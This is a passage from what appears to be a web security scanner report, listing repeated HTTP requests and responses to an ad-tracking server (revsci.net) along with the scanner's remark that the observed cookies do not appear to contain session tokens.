jV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCV2CTCeM1VkRza8Y=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:41 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e6481&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:41 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:40 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/157224151.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCF2BTiOM1VkRNa9U=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:21 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a9&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:21 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:20 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/164892384.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVIxEbUkPwRX+Mer9duzVms/xJMa; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:20 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b0&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:20 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:19 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/213412415.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk/dmP4TX+ser9duzVms895ML; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:38:38 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e647e&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:38:38 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:38:37 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/268190583.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
